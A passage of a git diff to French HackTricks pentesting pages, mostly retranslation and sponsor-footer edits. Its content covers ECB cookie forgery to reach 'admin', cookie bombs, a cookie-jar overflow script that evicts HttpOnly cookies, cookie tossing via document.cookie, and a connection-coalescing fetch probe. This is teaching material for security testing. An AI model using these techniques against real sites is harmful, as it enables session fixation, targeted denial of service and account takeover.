l'intérieur du cookie donné. -Créez un utilisateur appelé par exemple "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" et vérifiez s'il y a un schéma dans le cookie (comme ECB chiffre avec la même clé chaque bloc, les mêmes octets chiffrés pourraient apparaître si le nom d'utilisateur est chiffré). +Créez un utilisateur appelé par exemple "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" et vérifiez s'il y a un motif dans le cookie (comme ECB chiffre avec la même clé chaque bloc, les mêmes octets chiffrés pourraient apparaître si le nom d'utilisateur est chiffré). -Il devrait y avoir un schéma (avec la taille d'un bloc utilisé). Ainsi, en sachant comment un tas de "a" est chiffré, vous pouvez créer un nom d'utilisateur : "a"\*(taille du bloc)+"admin". Ensuite, vous pourriez supprimer le schéma chiffré d'un bloc de "a" du cookie. Et vous aurez le cookie de l'utilisateur "admin". +Il devrait y avoir un motif (avec la taille d'un bloc utilisé). Ainsi, en sachant comment un tas de "a" est chiffré, vous pouvez créer un nom d'utilisateur : "a"\*(taille du bloc)+"admin". Ensuite, vous pourriez supprimer le motif chiffré d'un bloc de "a" du cookie. Et vous aurez le cookie de l'utilisateur "admin". ## Références @@ -263,7 +263,7 @@ Il devrait y avoir un schéma (avec la taille d'un bloc utilisé). Ainsi, en sac
-Trouvez les vulnérabilités les plus importantes afin de pouvoir les corriger plus rapidement. Intruder suit votre surface d'attaque, lance des analyses de menaces proactives, trouve des problèmes dans l'ensemble de votre pile technologique, des API aux applications web et aux systèmes cloud. [**Essayez-le gratuitement**](https://www.intruder.io/?utm_source=referral\&utm_campaign=hacktricks) aujourd'hui. +Trouvez les vulnérabilités les plus importantes afin de pouvoir les corriger plus rapidement. Intruder suit votre surface d'attaque, lance des analyses de menaces proactives, trouve des problèmes dans l'ensemble de votre pile technologique, des API aux applications web et aux systèmes cloud. [**Essayez-le gratuitement**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) aujourd'hui. {% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %} @@ -274,10 +274,10 @@ Trouvez les vulnérabilités les plus importantes afin de pouvoir les corriger p Autres façons de soutenir HackTricks : -* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! +* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF** Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) * Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Rejoignez** 💬 le [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** +* **Rejoignez** 💬 le groupe Discord](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. diff --git a/pentesting-web/hacking-with-cookies/cookie-bomb.md b/pentesting-web/hacking-with-cookies/cookie-bomb.md index a996f425e..d3cb7c4d9 100644 --- a/pentesting-web/hacking-with-cookies/cookie-bomb.md +++ b/pentesting-web/hacking-with-cookies/cookie-bomb.md @@ -7,12 +7,12 @@ Autres façons de soutenir HackTricks : * Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) * Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub. -**`Cookie bomb`** implique **d'ajouter un nombre significatif de cookies volumineux à un domaine et ses sous-domaines ciblant un utilisateur**. Cette action entraîne la victime à **envoyer des requêtes HTTP surdimensionnées** au serveur, qui sont ensuite **rejetées par le serveur**. La conséquence de cela est l'induction d'un déni de service (DoS) spécifiquement ciblé sur un utilisateur dans ce domaine et ses sous-domaines. +**`Cookie bomb`** implique **d'ajouter un nombre significatif de cookies volumineux à un domaine et ses sous-domaines ciblant un utilisateur**. Cette action entraîne la victime **à envoyer des requêtes HTTP surdimensionnées** au serveur, qui sont ensuite **rejetées par le serveur**. La conséquence de cela est l'induction d'un déni de service (DoS) spécifiquement ciblé sur un utilisateur dans ce domaine et ses sous-domaines. Un bel **exemple** peut être vu dans ce rapport : [https://hackerone.com/reports/57356](https://hackerone.com/reports/57356) @@ -28,7 +28,7 @@ Autres façons de soutenir HackTricks : * Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) * Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub. diff --git a/pentesting-web/hacking-with-cookies/cookie-jar-overflow.md b/pentesting-web/hacking-with-cookies/cookie-jar-overflow.md index 924282d6e..3f7692bd4 100644 --- a/pentesting-web/hacking-with-cookies/cookie-jar-overflow.md +++ b/pentesting-web/hacking-with-cookies/cookie-jar-overflow.md @@ -1,19 +1,19 @@
-Apprenez le hacking AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)! +Apprenez le piratage AWS de zéro à héros avec htARTE (Expert de l'équipe rouge AWS de HackTricks)! -Autres moyens de soutenir HackTricks : +D'autres façons de soutenir HackTricks : -* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! -* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com) -* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez**-moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** -* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
-Les navigateurs ont une **limite sur le nombre de cookies** qu'ils peuvent stocker pour une page. Alors, si pour une raison quelconque vous avez besoin de **faire disparaître un cookie**, vous pouvez **déborder le bocal à cookies** car les plus anciens seront supprimés en premier : +Les navigateurs ont une **limite sur le nombre de cookies** qu'ils peuvent stocker pour une page. Ainsi, si pour une raison quelconque vous devez **faire disparaître un cookie**, vous pouvez **déborder le bocal à cookies** car les plus anciens seront supprimés en premier : ```javascript // Set many cookies for (let i = 0; i < 700; i++) { @@ -28,22 +28,22 @@ document.cookie = `cookie${i}=${i};expires=Thu, 01 Jan 1970 00:00:01 GMT`; Remarquez que les cookies tiers pointant vers un domaine différent ne seront pas écrasés. {% hint style="danger" %} -Cette attaque peut également être utilisée pour **écraser les cookies HttpOnly car vous pouvez les supprimer puis les réinitialiser avec la valeur que vous souhaitez**. +Cette attaque peut également être utilisée pour **écraser les cookies HttpOnly car vous pouvez le supprimer puis le réinitialiser avec la valeur souhaitée**. -Vérifiez cela dans [**ce post avec un lab**](https://www.sjoerdlangkemper.nl/2020/05/27/overwriting-httponly-cookies-from-javascript-using-cookie-jar-overflow/). +Consultez ceci dans [**cet article avec un laboratoire**](https://www.sjoerdlangkemper.nl/2020/05/27/overwriting-httponly-cookies-from-javascript-using-cookie-jar-overflow/). {% endhint %}
-Apprenez le hacking AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)! +Apprenez le piratage AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)! -Autres moyens de soutenir HackTricks : +Autres façons de soutenir HackTricks: * Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! -* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com) -* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez**-moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** -* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family) +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
diff --git a/pentesting-web/hacking-with-cookies/cookie-tossing.md b/pentesting-web/hacking-with-cookies/cookie-tossing.md index 43eeb501b..17b846847 100644 --- a/pentesting-web/hacking-with-cookies/cookie-tossing.md +++ b/pentesting-web/hacking-with-cookies/cookie-tossing.md @@ -1,72 +1,72 @@
-Apprenez le hacking AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)! +Apprenez le piratage AWS de zéro à héros avec htARTE (Expert de l'équipe rouge AWS de HackTricks)! -Autres moyens de soutenir HackTricks : +Autres façons de soutenir HackTricks : * Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! -* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com) -* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** -* **Partagez vos astuces de hacking en soumettant des PRs aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family) +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
## Description -Si un attaquant peut **contrôler un sous-domaine ou le domaine d'une entreprise ou trouve un XSS dans un sous-domaine**, il pourra réaliser cette attaque. +Si un attaquant peut **contrôler un sous-domaine ou le domaine d'une entreprise ou trouve une XSS dans un sous-domaine**, il pourra effectuer cette attaque. -Comme indiqué dans la section Cookies Hacking, lorsqu'un **cookie est défini pour un domaine (en le spécifiant), il sera utilisé dans le domaine et les sous-domaines.** +Comme indiqué dans la section de piratage des cookies, lorsqu'un **cookie est défini pour un domaine (en le spécifiant), il sera utilisé dans le domaine et les sous-domaines.** {% hint style="danger" %} Par conséquent, **un attaquant pourra définir pour le domaine et les sous-domaines un cookie spécifique en faisant quelque chose comme** `document.cookie="session=1234; Path=/app/login; domain=.example.com"` {% endhint %} -Cela peut être dangereux car l'attaquant pourrait : +Cela peut être dangereux car l'attaquant peut : -* **Fixer le cookie de la victime sur le compte de l'attaquant** donc si l'utilisateur ne le remarque pas, **il effectuera les actions sur le compte de l'attaquant** et l'attaquant pourrait obtenir des informations intéressantes (vérifier l'historique des recherches de l'utilisateur sur la plateforme, la victime pourrait enregistrer sa carte de crédit sur le compte...) -* Si le **cookie ne change pas après la connexion**, l'attaquant pourrait simplement **fixer un cookie**, attendre que la victime se connecte puis **utiliser ce cookie pour se connecter en tant que victime**. -* Si le **cookie définit une valeur initiale** (comme dans flask où le **cookie** peut **définir** le **CSRF token** de la session et cette valeur sera maintenue après que la victime se connecte), **l'attaquant pourrait définir cette valeur connue puis en abuser** (dans ce scénario, l'attaquant pourrait alors faire exécuter à l'utilisateur une requête CSRF puisqu'il connaît le CSRF token). +* **Fixer le cookie de la victime sur le compte de l'attaquant** donc si l'utilisateur ne le remarque pas, **il effectuera les actions dans le compte de l'attaquant** et l'attaquant peut obtenir des informations intéressantes (vérifier l'historique des recherches de l'utilisateur sur la plateforme, la victime peut enregistrer sa carte de crédit dans le compte...) +* Si le **cookie ne change pas après la connexion**, l'attaquant peut simplement **fixer un cookie**, attendre que la victime se connecte, puis **utiliser ce cookie pour se connecter en tant que victime**. +* Si le **cookie définit une valeur initiale** (comme dans Flask où le **cookie** peut **définir** le **jeton CSRF** de la session et que cette valeur sera conservée après la connexion de la victime), l'**attaquant peut définir cette valeur connue puis l'exploiter** (dans ce scénario, l'attaquant peut ensuite faire effectuer une requête CSRF à l'utilisateur car il connaît le jeton CSRF). -## Ordre des Cookies +## Ordre des cookies -Lorsqu'un navigateur reçoit deux cookies portant le même nom **affectant partiellement le même périmètre** (domaine, sous-domaines et chemin), le **navigateur enverra les deux valeurs du cookie** lorsque les deux sont valides pour la requête. +Lorsqu'un navigateur reçoit deux cookies avec le même nom **affectant partiellement le même champ d'application** (domaine, sous-domaines et chemin), le **navigateur enverra les deux valeurs du cookie** lorsque les deux sont valides pour la requête. -Selon qui a **le chemin le plus spécifique** ou lequel est **le plus ancien**, le navigateur **définira la valeur du cookie en premier** puis celle de l'autre comme dans : `Cookie: iduser=MoreSpecificAndOldestCookie; iduser=LessSpecific;` +En fonction de qui a **le chemin le plus spécifique** ou lequel est le **plus ancien**, le navigateur **définira d'abord la valeur du cookie** puis la valeur de l'autre comme dans : `Cookie: iduser=CookiePlusSpécifiqueEtPlusAncien; iduser=MoinsSpécifique;` -La plupart des **sites web n'utiliseront que la première valeur**. Ainsi, si un attaquant veut définir un cookie, il vaut mieux le faire avant qu'un autre soit défini ou le définir avec un chemin plus spécifique. +La plupart des **sites Web n'utiliseront que la première valeur**. Ainsi, si un attaquant souhaite définir un cookie, il est préférable de le définir avant qu'un autre ne soit défini ou de le définir avec un chemin plus spécifique. {% hint style="warning" %} -De plus, la capacité à **définir un cookie dans un chemin plus spécifique** est très intéressante car vous pourrez faire en sorte que **la victime travaille avec son cookie sauf dans le chemin spécifique où le cookie malveillant défini sera envoyé en premier**. +De plus, la capacité à **définir un cookie dans un chemin plus spécifique** est très intéressante car vous pourrez faire en sorte que la **victime travaille avec son cookie sauf dans le chemin spécifique où le cookie malveillant défini sera envoyé en premier**. {% endhint %} -## Contournement de Protection +## Contourner la protection -Une protection possible contre cette attaque serait que le **serveur web n'accepte pas les requêtes avec deux cookies portant le même nom mais deux valeurs différentes**. +Une protection possible contre cette attaque serait que le **serveur Web n'accepte pas les requêtes avec deux cookies portant le même nom mais deux valeurs différentes**. -Pour contourner le scénario où l'attaquant définit un cookie après que la victime a déjà reçu le cookie, l'attaquant pourrait provoquer un **débordement de cookie** et ensuite, une fois le **cookie légitime supprimé, définir le malveillant**. +Pour contourner le scénario où l'attaquant définit un cookie après que la victime ait déjà reçu le cookie, l'attaquant pourrait provoquer un **débordement de cookie** et ensuite, une fois que le **cookie légitime est supprimé, définir le malveillant**. {% content-ref url="cookie-jar-overflow.md" %} [cookie-jar-overflow.md](cookie-jar-overflow.md) {% endcontent-ref %} -Un autre **contournement** utile pourrait être d'**encoder l'URL du nom du cookie** car certaines protections vérifient la présence de 2 cookies avec le même nom dans une requête puis le serveur décodera les noms des cookies. +Un autre **contournement** utile pourrait être de **coder en URL le nom du cookie** car certaines protections vérifient la présence de 2 cookies portant le même nom dans une requête et ensuite le serveur décoderait les noms des cookies. -## Bombe à Cookies +## Bombe à cookies -Une attaque de Cookie Tossing peut également être utilisée pour réaliser une attaque de **Bombe à Cookies** : +Une attaque de Cookie Tossing peut également être utilisée pour effectuer une attaque de **Bombe à cookies** : {% content-ref url="cookie-bomb.md" %} [cookie-bomb.md](cookie-bomb.md) {% endcontent-ref %} -## Défenses +## Défense**s** ### **Utiliser le préfixe `__Host` dans le nom du cookie** -* Si un nom de cookie a ce préfixe, il **sera accepté uniquement** dans une directive Set-Cookie s'il est marqué comme Secure, a été envoyé depuis une origine sécurisée, ne comprend pas d'attribut Domain et a l'attribut Path défini sur / -* **Cela empêche les sous-domaines de forcer un cookie sur le domaine principal puisque ces cookies peuvent être considérés comme "verrouillés sur le domaine"** +* Si un nom de cookie a ce préfixe, il **ne sera accepté que** dans une directive Set-Cookie s'il est marqué Secure, a été envoyé depuis une origine sécurisée, n'inclut pas d'attribut Domain, et a l'attribut Path défini sur / +* **Cela empêche les sous-domaines de forcer un cookie sur le domaine principal car ces cookies peuvent être considérés comme "verrouillés sur le domaine"** ## Références @@ -77,14 +77,14 @@ Une attaque de Cookie Tossing peut également être utilisée pour réaliser une
-Apprenez le hacking AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)! +Apprenez le piratage AWS de zéro à héros avec htARTE (Expert de l'équipe rouge AWS de HackTricks)! -Autres moyens de soutenir HackTricks : +Autres façons de soutenir HackTricks : * Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! -* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com) -* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** -* **Partagez vos astuces de hacking en soumettant des PRs aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family) +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
diff --git a/pentesting-web/http-connection-contamination.md b/pentesting-web/http-connection-contamination.md index 9926a236d..143f3954a 100644 --- a/pentesting-web/http-connection-contamination.md +++ b/pentesting-web/http-connection-contamination.md @@ -2,21 +2,21 @@
-Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)! +Apprenez le piratage AWS de zéro à héros avec htARTE (Expert Red Team AWS de HackTricks)! Autres façons de soutenir HackTricks : * Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) * Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
**Il s'agit d'un résumé de l'article : [https://portswigger.net/research/http-3-connection-contamination](https://portswigger.net/research/http-3-connection-contamination)**. Consultez-le pour plus de détails ! -Les navigateurs Web peuvent réutiliser une seule connexion HTTP/2+ pour différents sites Web via [la coalescence des connexions HTTP](https://daniel.haxx.se/blog/2016/08/18/http2-connection-coalescing), en présence d'adresses IP partagées et d'un certificat TLS commun. Cependant, cela peut entrer en conflit avec le **routage de la première requête** dans les reverse-proxies, où les requêtes ultérieures sont dirigées vers l'arrière-plan déterminé par la première requête. Ce mauvais routage peut entraîner des vulnérabilités de sécurité, notamment lorsqu'il est combiné avec des certificats TLS génériques et des domaines tels que `*.example.com`. +Les navigateurs Web peuvent réutiliser une seule connexion HTTP/2+ pour différents sites Web grâce à la [coalescence des connexions HTTP](https://daniel.haxx.se/blog/2016/08/18/http2-connection-coalescing), en présence d'adresses IP partagées et d'un certificat TLS commun. Cependant, cela peut entrer en conflit avec le **routage de la première requête** dans les reverse-proxies, où les requêtes ultérieures sont dirigées vers l'arrière-plan déterminé par la première requête. Ce mauvais routage peut entraîner des vulnérabilités de sécurité, notamment lorsqu'il est combiné avec des certificats TLS génériques et des domaines tels que `*.example.com`. Par exemple, si `wordpress.example.com` et `secure.example.com` sont tous deux servis par le même reverse proxy et ont un certificat générique commun, la coalescence de connexion du navigateur pourrait amener les requêtes vers `secure.example.com` à être traitées à tort par l'arrière-plan WordPress, exploitant des vulnérabilités telles que XSS. @@ -24,6 +24,20 @@ Pour observer la coalescence de connexion, l'onglet Réseau de Chrome ou des out ```javascript fetch('//sub1.hackxor.net/', {mode: 'no-cors', credentials: 'include'}).then(()=>{ fetch('//sub2.hackxor.net/', {mode: 'no-cors', credentials: 'include'}) }) ``` -La menace est actuellement limitée en raison de la rareté du routage de la première requête et de la complexité de HTTP/2. Cependant, les changements proposés dans HTTP/3, qui assouplissent l'exigence de correspondance des adresses IP, pourraient élargir la surface d'attaque, rendant les serveurs avec un certificat générique plus vulnérables sans nécessiter d'attaque de l'homme du milieu. +La menace est actuellement limitée en raison de la rareté du routage de la première requête et de la complexité de HTTP/2. Cependant, les changements proposés dans HTTP/3, qui assouplissent l'exigence de correspondance des adresses IP, pourraient élargir la surface d'attaque, rendant les serveurs avec un certificat générique plus vulnérables sans nécessiter une attaque de l'homme du milieu. -Les meilleures pratiques incluent l'évitement du routage de la première requête dans les proxies inverses et la prudence avec les certificats TLS génériques, en particulier avec l'avènement de HTTP/3. Des tests réguliers et une prise de conscience de ces vulnérabilités complexes et interconnectées sont cruciaux pour maintenir la sécurité web. +Les meilleures pratiques incluent l'évitement du routage de la première requête dans les proxies inverses et la prudence avec les certificats TLS génériques, surtout avec l'avènement de HTTP/3. Des tests réguliers et une prise de conscience de ces vulnérabilités complexes et interconnectées sont cruciaux pour maintenir la sécurité web. + +
+ +Apprenez le piratage AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)! + +Autres façons de soutenir HackTricks: + +* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF** Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github. + +
diff --git a/pentesting-web/http-connection-request-smuggling.md b/pentesting-web/http-connection-request-smuggling.md index c1408298c..6a6ddc3f9 100644 --- a/pentesting-web/http-connection-request-smuggling.md +++ b/pentesting-web/http-connection-request-smuggling.md @@ -2,12 +2,12 @@
-☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 +Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)! * Travaillez-vous dans une **entreprise de cybersécurité**? Voulez-vous voir votre **entreprise annoncée dans HackTricks**? ou voulez-vous avoir accès à la **dernière version du PEASS ou télécharger HackTricks en PDF**? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! * Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) -* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** **🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Partagez vos astuces de piratage en soumettant des PR au [dépôt hacktricks](https://github.com/carlospolop/hacktricks) et [dépôt hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
@@ -45,12 +45,12 @@ Pour identifier ces vulnérabilités, la fonctionnalité 'sonde d'état de conne
